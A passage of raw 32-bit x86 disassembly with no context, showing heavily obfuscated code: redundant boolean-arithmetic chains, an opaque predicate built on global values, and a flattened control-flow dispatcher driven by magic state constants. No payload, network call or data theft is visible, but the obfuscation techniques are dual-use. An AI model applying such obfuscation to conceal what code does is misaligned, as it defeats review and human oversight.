mov al, byte [ebp - 0x1bc]
mov byte [ebp - 0x1be], cl
mov cl, byte [ebp - 0x1bd]
and al, cl
mov cl, bl
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x1bf], al
mov al, byte [ebp - 0x1bd]
and al, 1
mov byte [ebp - 0x1c0], al
mov al, byte [ebp - 0x1be]
mov byte [ebp - 0x1c1], cl
mov cl, byte [ebp - 0x1bf]
or al, cl
mov cl, byte [ebp - 0x1c1]
mov byte [ebp - 0x1c2], al
mov al, byte [ebp - 0x1c0]
or cl, al
mov al, byte [ebp - 0x1c2]
xor al, cl
mov cl, bl
xor cl, 1
mov byte [ebp - 0x1c3], al
mov al, byte [ebp - 0x1a3]
xor al, 0xff
mov byte [ebp - 0x1c4], al
mov al, bl
xor al, 0
mov byte [ebp - 0x1c5], al
mov al, cl
and al, 0
mov byte [ebp - 0x1c6], al
mov al, byte [ebp - 0x1c5]
and al, 1
mov byte [ebp - 0x1c7], al
mov al, byte [ebp - 0x1c4]
and al, 0
mov byte [ebp - 0x1c8], al
mov al, byte [ebp - 0x1a3]
mov byte [ebp - 0x1c9], cl
mov cl, byte [ebp - 0x1c5]
and al, cl
mov cl, byte [ebp - 0x1c6]
mov byte [ebp - 0x1ca], al
mov al, byte [ebp - 0x1c7]
or cl, al
mov al, byte [ebp - 0x1c8]
mov byte [ebp - 0x1cb], cl
mov cl, byte [ebp - 0x1ca]
or al, cl
mov cl, byte [ebp - 0x1cb]
xor cl, al
mov al, byte [ebp - 0x1c9]
mov byte [ebp - 0x1cc], cl
mov cl, byte [ebp - 0x1c4]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x1c5]
or cl, 0
and al, cl
mov cl, byte [ebp - 0x1cc]
or cl, al
mov al, byte [ebp - 0x1c3]
xor al, 0xff
xor cl, 0xff
mov byte [ebp - 0x1cd], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1ce], al
mov al, byte [ebp - 0x1cd]
or al, cl
mov cl, byte [ebp - 0x1ce]
or cl, 1
xor al, 0xff
and al, cl
mov cl, bh
and cl, al
xor bh, al
or cl, bh
mov al, ch
xor al, 0xff
mov bh, byte [ebp - 0x199]
xor bh, al
mov al, byte [ebp - 0x199]
and bh, al
xor al, 0xff
and al, 0
mov byte [ebp - 0x1cf], al
mov al, bl
xor al, 0
mov byte [ebp - 0x1d0], al
mov al, byte [ebp - 0x199]
mov byte [ebp - 0x1d1], cl
mov cl, byte [ebp - 0x1d0]
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov byte [ebp - 0x1d2], al
mov al, byte [ebp - 0x1d0]
and ch, al
mov al, byte [ebp - 0x1cf]
mov byte [ebp - 0x1d3], cl
mov cl, byte [ebp - 0x1d2]
or al, cl
mov cl, byte [ebp - 0x1d3]
or cl, ch
xor al, cl
mov cl, bh
and cl, al
xor bh, al
or cl, bh
mov al, byte [ebp - 0x1d1]
xor al, 0xff
and al, 1
mov ch, bl
xor ch, 1
mov bh, byte [ebp - 0x1d1]
and bh, ch
or al, bh
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, cl
xor al, 0xff
and al, 1
mov bh, bl
xor bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x1d1]
xor cl, 0xff
xor al, 0xff
mov bh, bl
xor bh, 1
or cl, al
or bh, 1
xor cl, 0xff
and cl, bh
mov al, ch
and al, cl
xor ch, cl
or al, ch
mov cl, byte [ebp - 0x15d]
xor cl, 0xff
and cl, 0
mov ch, bl
xor ch, 0
mov bh, byte [ebp - 0x15d]
and bh, ch
mov byte [ebp - 0x1d4], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
or cl, bh
or al, ch
xor cl, al
mov al, byte [ebp - 0x169]
xor al, 0xff
and al, 1
mov ch, bl
xor ch, 1
mov bh, byte [ebp - 0x169]
and bh, ch
or al, bh
mov ch, bl
xor ch, 0
and ch, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x1d5], al
mov al, bh
and al, 0
mov byte [ebp - 0x1d6], al
mov al, bl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x1d7], al
mov al, byte [ebp - 0x1d6]
or ch, al
mov al, byte [ebp - 0x1d7]
or al, bh
xor ch, al
mov al, bl
xor al, 0
mov bh, cl
xor bh, al
and bh, cl
mov al, ch
xor al, 0xff
mov byte [ebp - 0x1d8], al
mov al, byte [ebp - 0x15d]
mov byte [ebp - 0x1d9], cl
mov cl, byte [ebp - 0x1d8]
xor al, cl
mov cl, byte [ebp - 0x15d]
and al, cl
mov cl, byte [ebp - 0x1d5]
xor cl, 0xff
mov byte [ebp - 0x1da], al
mov al, bl
xor al, 0
mov byte [ebp - 0x1db], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1dc], al
mov al, byte [ebp - 0x1db]
or cl, al
mov al, byte [ebp - 0x1dc]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x169]
xor al, 0xff
mov byte [ebp - 0x1dd], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x1de], al
mov al, bl
xor al, 0
mov byte [ebp - 0x1df], al
mov al, byte [ebp - 0x1dd]
mov byte [ebp - 0x1e0], cl
mov cl, byte [ebp - 0x1de]
or al, cl
mov cl, byte [ebp - 0x1df]
or cl, 0
xor al, 0xff
and al, cl
mov cl, bh
mov byte [ebp - 0x1e1], al
mov al, byte [ebp - 0x1da]
and cl, al
xor bh, al
or cl, bh
mov bh, byte [ebp - 0x1e0]
xor bh, 0xff
mov al, byte [ebp - 0x1e1]
xor al, 0xff
mov byte [ebp - 0x1e2], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1e3], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1e4], al
mov al, byte [ebp - 0x1e0]
mov byte [ebp - 0x1e5], cl
mov cl, byte [ebp - 0x1e3]
and al, cl
mov cl, byte [ebp - 0x1e2]
and cl, 0xff
mov byte [ebp - 0x1e6], al
mov al, byte [ebp - 0x1e1]
mov byte [ebp - 0x1e7], cl
mov cl, byte [ebp - 0x1e3]
and al, cl
mov cl, byte [ebp - 0x1e4]
mov byte [ebp - 0x1e8], al
mov al, byte [ebp - 0x1e6]
or cl, al
mov al, byte [ebp - 0x1e7]
mov byte [ebp - 0x1e9], cl
mov cl, byte [ebp - 0x1e8]
or al, cl
mov cl, byte [ebp - 0x1e9]
xor cl, al
mov al, byte [ebp - 0x1e2]
or bh, al
xor bh, 0xff
mov al, byte [ebp - 0x1e3]
or al, 1
and bh, al
or cl, bh
mov al, byte [ebp - 0x1e5]
xor al, 0xff
mov bh, cl
and bh, al
xor cl, 0xff
mov al, byte [ebp - 0x1e5]
and al, cl
or bh, al
mov al, byte [ebp - 0x1d9]
xor al, 0xff
mov cl, byte [ebp - 0x1d5]
xor cl, 0xff
mov byte [ebp - 0x1ea], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1eb], al
mov al, byte [ebp - 0x1ea]
and al, 0xff
mov byte [ebp - 0x1ec], al
mov al, byte [ebp - 0x1d9]
mov byte [ebp - 0x1ed], cl
mov cl, byte [ebp - 0x1eb]
and al, cl
mov cl, byte [ebp - 0x1ed]
and cl, 0xff
mov byte [ebp - 0x1ee], al
mov al, byte [ebp - 0x1d5]
mov byte [ebp - 0x1ef], cl
mov cl, byte [ebp - 0x1eb]
and al, cl
mov cl, byte [ebp - 0x1ec]
mov byte [ebp - 0x1f0], al
mov al, byte [ebp - 0x1ee]
or cl, al
mov al, byte [ebp - 0x1ef]
mov byte [ebp - 0x1f1], cl
mov cl, byte [ebp - 0x1f0]
or al, cl
mov cl, byte [ebp - 0x1f1]
xor cl, al
mov al, byte [ebp - 0x1ea]
mov byte [ebp - 0x1f2], cl
mov cl, byte [ebp - 0x1ed]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x1eb]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x1f2]
or cl, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x1f3], al
mov al, bl
xor al, 0
and cl, al
mov byte [ebp - 0x1f4], al
mov al, bl
xor al, 1
and al, 0
mov byte [ebp - 0x1f5], al
mov al, byte [ebp - 0x1f4]
and al, 1
mov byte [ebp - 0x1f6], al
mov al, byte [ebp - 0x1f3]
or al, cl
mov cl, byte [ebp - 0x1f5]
mov byte [ebp - 0x1f7], al
mov al, byte [ebp - 0x1f6]
or cl, al
mov al, byte [ebp - 0x1f7]
xor al, cl
mov cl, ch
and cl, 0
xor ch, 0
or cl, ch
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov al, bh
and al, ch
xor bh, ch
or al, bh
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov bh, al
and bh, ch
or cl, bh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, bl
xor ch, 1
and ch, 1
mov bh, bl
xor bh, 1
and bh, 1
or ch, bh
xor al, 0xff
xor ch, 0xff
mov bh, bl
xor bh, 0
or al, ch
or bh, 0
xor al, 0xff
and al, bh
mov ch, cl
xor ch, 0xff
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x1f8], al
mov al, bl
xor al, 1
mov byte [ebp - 0x1f9], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x1fa], al
mov al, byte [ebp - 0x1f9]
and cl, al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1fb], al
mov al, byte [ebp - 0x1f8]
mov byte [ebp - 0x1fc], cl
mov cl, byte [ebp - 0x1f9]
and al, cl
mov cl, byte [ebp - 0x1fa]
mov byte [ebp - 0x1fd], al
mov al, byte [ebp - 0x1fc]
or cl, al
mov al, byte [ebp - 0x1fb]
mov byte [ebp - 0x1fe], cl
mov cl, byte [ebp - 0x1fd]
or al, cl
mov cl, byte [ebp - 0x1fe]
xor cl, al
or ch, bh
xor ch, 0xff
mov al, byte [ebp - 0x1f9]
or al, 1
and ch, al
or cl, ch
mov al, bl
xor al, 1
and al, 0
mov ch, bl
xor ch, 0
mov bh, ch
and bh, 1
mov byte [ebp - 0x1ff], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
mov byte [ebp - 0x200], al
mov al, byte [ebp - 0x1ff]
or al, bh
mov bh, byte [ebp - 0x200]
or bh, ch
xor al, bh
mov ch, ah
xor ch, 0xff
and ch, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x201], al
mov al, ah
and al, bh
or ch, al
mov al, bl
xor al, 0
and al, 1
mov bh, bl
xor bh, 1
and bh, 0
or al, bh
mov bh, bl
xor bh, 0
mov byte [ebp - 0x202], al
mov al, byte [ebp - 0x201]
xor al, bh
mov bh, byte [ebp - 0x201]
and al, bh
mov bh, byte [ebp - 0x202]
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov byte [ebp - 0x203], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x204], al
mov al, bl
xor al, 0
mov byte [ebp - 0x205], al
mov al, bl
xor al, 1
mov byte [ebp - 0x206], al
mov al, byte [ebp - 0x204]
mov byte [ebp - 0x207], cl
mov cl, byte [ebp - 0x205]
or al, cl
mov cl, byte [ebp - 0x206]
or cl, 1
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x202]
xor cl, 0xff
mov byte [ebp - 0x208], al
mov al, ah
xor al, cl
and al, ah
mov cl, byte [ebp - 0x203]
and cl, bh
mov ah, byte [ebp - 0x203]
xor ah, bh
or cl, ah
mov ah, byte [ebp - 0x208]
and ah, al
mov bh, byte [ebp - 0x208]
xor bh, al
or ah, bh
mov al, cl
xor al, 0xff
mov bh, ah
and bh, al
xor ah, 0xff
and cl, ah
or bh, cl
mov al, byte [ebp - 0x201]
xor al, 0xff
mov cl, ch
xor cl, 0xff
mov ah, bl
xor ah, 1
mov byte [ebp - 0x209], al
and al, 0xff
mov byte [ebp - 0x20a], al
mov al, byte [ebp - 0x201]
and al, ah
mov byte [ebp - 0x20b], al
mov al, cl
and al, 0xff
and ch, ah
mov byte [ebp - 0x20c], al
mov al, byte [ebp - 0x20a]
mov byte [ebp - 0x20d], cl
mov cl, byte [ebp - 0x20b]
or al, cl
mov cl, byte [ebp - 0x20c]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x209]
mov ch, byte [ebp - 0x20d]
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, bl
xor ah, 1
and al, ah
or cl, al
mov al, byte [ebp - 0x202]
and al, 0
mov ah, byte [ebp - 0x202]
xor ah, 0
or al, ah
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, bh
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov ch, bl
xor ch, 1
mov byte [ebp - 0x20e], al
and al, 0xff
and bh, ch
mov byte [ebp - 0x20f], al
mov al, cl
and al, 0xff
and ah, ch
mov byte [ebp - 0x210], al
mov al, byte [ebp - 0x20f]
or al, bh
mov bh, byte [ebp - 0x210]
or bh, ah
xor al, bh
mov ah, byte [ebp - 0x20e]
or ah, cl
xor ah, 0xff
or ch, 1
and ah, ch
or al, ah
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, bl
xor ah, 0
and al, ah
mov ch, bl
xor ch, 1
and ch, 0
and ah, 1
or cl, al
or ch, ah
xor cl, ch
mov al, byte [ebp - 0x207]
xor al, 0xff
and al, 0
mov ah, bl
xor ah, 0
mov ch, byte [ebp - 0x207]
and ch, ah
mov bh, cl
xor bh, 0xff
and bh, 0
and cl, ah
or al, ch
or bh, cl
xor al, bh
xor al, 0xff
mov cl, byte [ebp - 0x207]
xor cl, 0xff
mov ah, bl
xor ah, 1
or al, cl
or ah, 1
xor al, 0xff
and al, ah
mov cl, al
xor cl, 0xff
mov ah, byte [ebp - 0x1d4]
xor ah, cl
mov cl, byte [ebp - 0x1d4]
and ah, cl
xor cl, 0xff
and cl, 1
xor bl, 1
mov ch, byte [ebp - 0x1d4]
and ch, bl
mov bh, al
xor bh, 0xff
and bh, 0xff
and al, bl
or cl, ch
or bh, al
xor cl, bh
mov al, ah
and al, cl
xor ah, cl
or al, ah
test al, 1
mov esi, dword [ebp - 0x158]
cmovne esi, edx
mov dword [ebp - 0x28], esi
jmp 0x477f7c
mov eax, 0x18945d52
mov ecx, 0x718dbc90
mov dl, byte [ebp - 0xd]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x477f7c
mov eax, 0x223ee6e9
mov ecx, 0x297a3391
mov dl, 1
xor esi, esi
mov edi, dword [0x4ac094]
mov ebx, dword [0x4ac098]
mov dword [ebp - 0x214], eax
mov eax, esi
sub eax, 0x7e6b8c68
sub eax, 0x109c1fd6
add eax, 0x7e6b8c68
add eax, 0xafb4687b
sub eax, 1
sub eax, 0xafb4687b
mov dword [ebp - 0x218], eax
mov eax, esi
sub eax, 0x109c1fd6
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0x220], ecx
mov ecx, dword [ebp - 0x21c]
sub eax, ecx
mov ecx, edi
add ecx, 0x6824d2f4
add ecx, 0x58b4a2b5
sub ecx, 0x6824d2f4
add ecx, 0x717bf8ad
add ecx, eax
sub ecx, 0x717bf8ad
sub esi, 0x58b4a2b5
add ecx, esi
imul edi, ecx
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0xff
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov cl, dl
xor cl, 1
and cl, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
xor cl, 0xff
mov ch, dh
xor ch, cl
and ch, dh
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
mov bl, al
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, dl
xor ch, 1
xor ah, 0xff
mov bl, dl
xor bl, 1
or ch, ah
or bl, 1
xor ch, 0xff
and ch, bl
mov ah, dl
xor ah, 1
and ah, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x221], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
xor ah, 0xff
mov al, byte [ebp - 0x221]
xor al, ah
mov ah, byte [ebp - 0x221]
and al, ah
mov bl, ch
xor bl, 0xff
mov bh, al
xor bh, 0xff
mov ah, dl
xor ah, 0
mov byte [ebp - 0x222], al
mov al, bl
and al, 0
and ch, ah
mov byte [ebp - 0x223], al
mov al, bh
and al, 0
mov byte [ebp - 0x224], al
mov al, byte [ebp - 0x222]
and al, ah
mov byte [ebp - 0x225], al
mov al, byte [ebp - 0x223]
or al, ch
mov ch, byte [ebp - 0x224]
mov byte [ebp - 0x226], al
mov al, byte [ebp - 0x225]
or ch, al
mov al, byte [ebp - 0x226]
xor al, ch
or bl, bh
xor bl, 0xff
or ah, 0
and bl, ah
or al, bl
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
mov ch, dl
xor ch, 1
xor ah, 0xff
mov bl, dl
xor bl, 0
or ch, ah
or bl, 0
xor ch, 0xff
and ch, bl
mov ah, dl
xor ah, 1
and ah, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x227], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, ch
and al, ah
xor ch, ah
or al, ch
mov ah, cl
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
mov bl, cl
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
and bl, 1
or ch, bl
mov bl, dl
xor bl, 1
and bl, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x228], al
mov al, bh
and al, 1
mov byte [ebp - 0x229], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x22a], al
mov al, byte [ebp - 0x229]
or bl, al
mov al, byte [ebp - 0x22a]
or al, bh
xor bl, al
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov ah, dl
xor ah, 1
mov ch, bl
xor ch, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x22b], al
mov al, ah
and al, 0
mov byte [ebp - 0x22c], al
mov al, bh
and al, 1
mov byte [ebp - 0x22d], al
mov al, ch
and al, 0
and bl, bh
mov byte [ebp - 0x22e], al
mov al, byte [ebp - 0x22c]
mov byte [ebp - 0x22f], cl
mov cl, byte [ebp - 0x22d]
or al, cl
mov cl, byte [ebp - 0x22e]
or cl, bl
xor al, cl
or ah, ch
xor ah, 0xff
or bh, 0
and ah, bh
or al, ah
mov cl, byte [ebp - 0x22b]
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov ch, byte [ebp - 0x22b]
and ch, ah
mov bl, dl
xor bl, 1
and bl, 0
and ah, 1
or cl, ch
or bl, ah
xor cl, bl
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, dh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and dh, ah
or al, dh
mov ah, byte [ebp - 0x228]
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x228]
and dh, ch
or ah, dh
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov al, ch
and al, 1
xor ch, 1
or al, ch
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
xor ah, 0xff
xor al, 0xff
mov ch, dl
xor ch, 1
or ah, al
or ch, 1
xor ah, 0xff
and ah, ch
mov al, byte [ebp - 0x227]
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x227]
and dh, ch
or al, dh
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, dl
xor dh, 0
and dh, 1
mov bl, dl
xor bl, 1
and bl, 0
or dh, bl
mov bl, al
and bl, ch
xor al, ch
or bl, al
mov al, dl
xor al, 0
mov ch, dh
xor ch, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x230], al
and al, 0xff
mov byte [ebp - 0x231], al
mov al, bh
and al, 0
mov byte [ebp - 0x232], al
mov al, ch
and al, 0xff
and dh, bh
mov byte [ebp - 0x233], al
mov al, byte [ebp - 0x231]
mov byte [ebp - 0x234], cl
mov cl, byte [ebp - 0x232]
or al, cl
mov cl, byte [ebp - 0x233]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x230]
or cl, ch
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
and bl, ch
or cl, bl
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, byte [ebp - 0x228]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov dh, byte [ebp - 0x228]
and dh, cl
mov bl, dl
xor bl, 1
and bl, 0xff
and cl, 1
or al, dh
or bl, cl
xor al, bl
mov cl, byte [ebp - 0x221]
xor cl, 0xff
mov dh, al
and dh, cl
xor al, 0xff
mov cl, byte [ebp - 0x221]
and cl, al
or dh, cl
mov al, byte [ebp - 0x221]
xor al, 0xff
mov cl, dh
xor cl, al
and cl, dh
mov al, byte [ebp - 0x234]
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov bl, byte [ebp - 0x234]
and bl, dh
or al, bl
mov dh, ah
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
mov bh, ah
and bh, bl
mov byte [ebp - 0x235], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, dl
xor al, 1
and al, 1
mov bl, dl
xor bl, 1
and bl, 1
or al, bl
mov bl, byte [ebp - 0x235]
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x236], al
mov al, dl
xor al, 1
or bl, bh
or al, 1
xor bl, 0xff
and bl, al
mov al, byte [ebp - 0x234]
xor al, 0xff
mov bh, byte [ebp - 0x236]
xor bh, 0xff
mov byte [ebp - 0x237], al
mov al, dl
xor al, 0
mov byte [ebp - 0x238], al
mov al, byte [ebp - 0x237]
or al, bh
mov bh, byte [ebp - 0x238]
or bh, 0
xor al, 0xff
and al, bh
mov bh, dl
xor bh, 1
mov byte [ebp - 0x239], al
mov al, dh
xor al, bh
and al, dh
xor ah, 0xff
mov bh, byte [ebp - 0x236]
xor bh, 0xff
mov byte [ebp - 0x23a], al
mov al, dl
xor al, 0
or ah, bh
or al, 0
xor ah, 0xff
and ah, al
mov al, bl
mov bh, byte [ebp - 0x239]
and al, bh
xor bl, bh
or al, bl
mov bl, byte [ebp - 0x23a]
and bl, ah
mov bh, byte [ebp - 0x23a]
xor bh, ah
or bl, bh
mov ah, al
xor ah, 0xff
mov bh, bl
and bh, ah
xor bl, 0xff
and al, bl
or bh, al
mov al, byte [ebp - 0x235]
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov bl, dl
xor bl, 1
mov byte [ebp - 0x23b], al
and al, 0xff
mov byte [ebp - 0x23c], al
mov al, byte [ebp - 0x235]
and al, bl
mov byte [ebp - 0x23d], al
mov al, ah
and al, 0xff
and dh, bl
mov byte [ebp - 0x23e], al
mov al, byte [ebp - 0x23c]
mov byte [ebp - 0x23f], cl
mov cl, byte [ebp - 0x23d]
or al, cl
mov cl, byte [ebp - 0x23e]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x23b]
or cl, ah
xor cl, 0xff
or bl, 1
and cl, bl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and al, ah
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or cl, al
or dh, ah
xor cl, dh
mov al, dl
xor al, 1
mov ah, byte [ebp - 0x236]
xor ah, 0xff
mov dh, dl
xor dh, 0
mov bl, al
and bl, 0
mov byte [ebp - 0x240], al
mov al, dh
and al, 1
mov byte [ebp - 0x241], al
mov al, ah
and al, 0
mov byte [ebp - 0x242], al
mov al, byte [ebp - 0x236]
and al, dh
mov byte [ebp - 0x243], al
mov al, byte [ebp - 0x241]
or bl, al
mov al, byte [ebp - 0x242]
mov byte [ebp - 0x244], cl
mov cl, byte [ebp - 0x243]
or al, cl
xor bl, al
mov al, byte [ebp - 0x240]
or al, ah
xor al, 0xff
or dh, 0
and al, dh
or bl, al
xor bl, 0xff
mov al, byte [ebp - 0x244]
xor al, bl
mov cl, byte [ebp - 0x244]
and al, cl
mov ah, bh
and ah, al
xor bh, al
or ah, bh
mov al, ch
xor al, 0xff
mov dh, byte [ebp - 0x23f]
xor dh, 0xff
mov bl, dl
xor bl, 1
or al, dh
or bl, 1
xor al, 0xff
and al, bl
mov dh, ch
xor dh, 0xff
and dh, 0
mov bl, dl
xor bl, 0
and ch, bl
mov bh, byte [ebp - 0x23f]
xor bh, 0xff
and bh, 0
mov cl, byte [ebp - 0x23f]
and cl, bl
or dh, ch
or bh, cl
xor dh, bh
mov cl, al
xor cl, 0xff
mov ch, dh
xor ch, 0xff
mov bl, dl
xor bl, 1
mov bh, cl
and bh, 0xff
and al, bl
mov byte [ebp - 0x245], al
mov al, ch
and al, 0xff
and dh, bl
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x245]
or bh, al
mov al, byte [ebp - 0x246]
or al, dh
xor bh, al
or cl, ch
xor cl, 0xff
or bl, 1
and cl, bl
or bh, cl
mov al, ah
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ch, ah
and ch, cl
mov dh, dl
xor dh, 1
and dh, 0xff
and cl, 1
or al, ch
or dh, cl
xor al, dh
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
and ch, 1
or cl, ch
xor ah, 0xff
mov ch, cl
xor ch, 0xff
mov dh, dl
xor dh, 1
or ah, ch
or dh, 1
xor ah, 0xff
and ah, dh
mov ch, bh
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov bl, bh
and bl, dh
mov byte [ebp - 0x247], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
or ch, bl
or al, dh
xor ch, al
mov al, dl
xor al, 1
mov dh, ch
xor dh, al
and dh, ch
xor bh, 0xff
xor cl, 0xff
mov al, dl
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x247]
and al, ah
mov cl, byte [ebp - 0x247]
xor cl, ah
or al, cl
mov cl, dh
xor cl, 0xff
mov ah, bh
xor ah, 0xff
mov ch, dl
xor ch, 0
mov bl, cl
and bl, 0
and dh, ch
mov byte [ebp - 0x248], al
mov al, ah
and al, 0
and bh, ch
or bl, dh
or al, bh
xor bl, al
or cl, ah
xor cl, 0xff
or ch, 0
and cl, ch
or bl, cl
mov al, byte [ebp - 0x248]
xor al, 0xff
mov cl, bl
and cl, al
xor bl, 0xff
mov al, byte [ebp - 0x248]
and al, bl
or cl, al
mov al, byte [ebp - 0x227]
xor al, 0xff
mov ah, byte [ebp - 0x22f]
xor ah, al
mov al, byte [ebp - 0x22f]
and ah, al
xor al, 0xff
and al, 0
mov ch, dl
xor ch, 0
mov dh, byte [ebp - 0x22f]
and dh, ch
mov bl, byte [ebp - 0x227]
xor bl, 0xff
and bl, 0
mov bh, byte [ebp - 0x227]
and bh, ch
or al, dh
or bl, bh
xor al, bl
mov ch, ah
xor ch, 0xff
mov dh, al
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, ch
and bh, 0xff
and ah, bl
mov byte [ebp - 0x249], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x24a], al
mov al, byte [ebp - 0x249]
and al, bl
or bh, ah
mov ah, byte [ebp - 0x24a]
or ah, al
xor bh, ah
or ch, dh
xor ch, 0xff
or bl, 1
and ch, bl
or bh, ch
mov al, bh
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
mov ch, bh
and ch, ah
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or al, ch
or dh, ah
xor al, dh
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
mov ch, ah
xor ch, 0xff
mov dh, bh
xor dh, ch
and dh, bh
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
and bl, 1
or ch, bl
mov bl, dl
xor bl, 1
mov bh, ch
xor bh, bl
and bh, ch
mov ch, dl
xor ch, 1
xor ah, 0xff
mov bl, dl
xor bl, 1
or ch, ah
or bl, 1
xor ch, 0xff
and ch, bl
mov ah, al
and ah, dh
xor al, dh
or ah, al
mov al, bh
xor al, 0xff
mov dh, ch
xor dh, 0xff
mov bl, dl
xor bl, 0
mov byte [ebp - 0x24b], al
and al, 0
and bh, bl
mov byte [ebp - 0x24c], al
mov al, dh
and al, 0
and ch, bl
mov byte [ebp - 0x24d], al
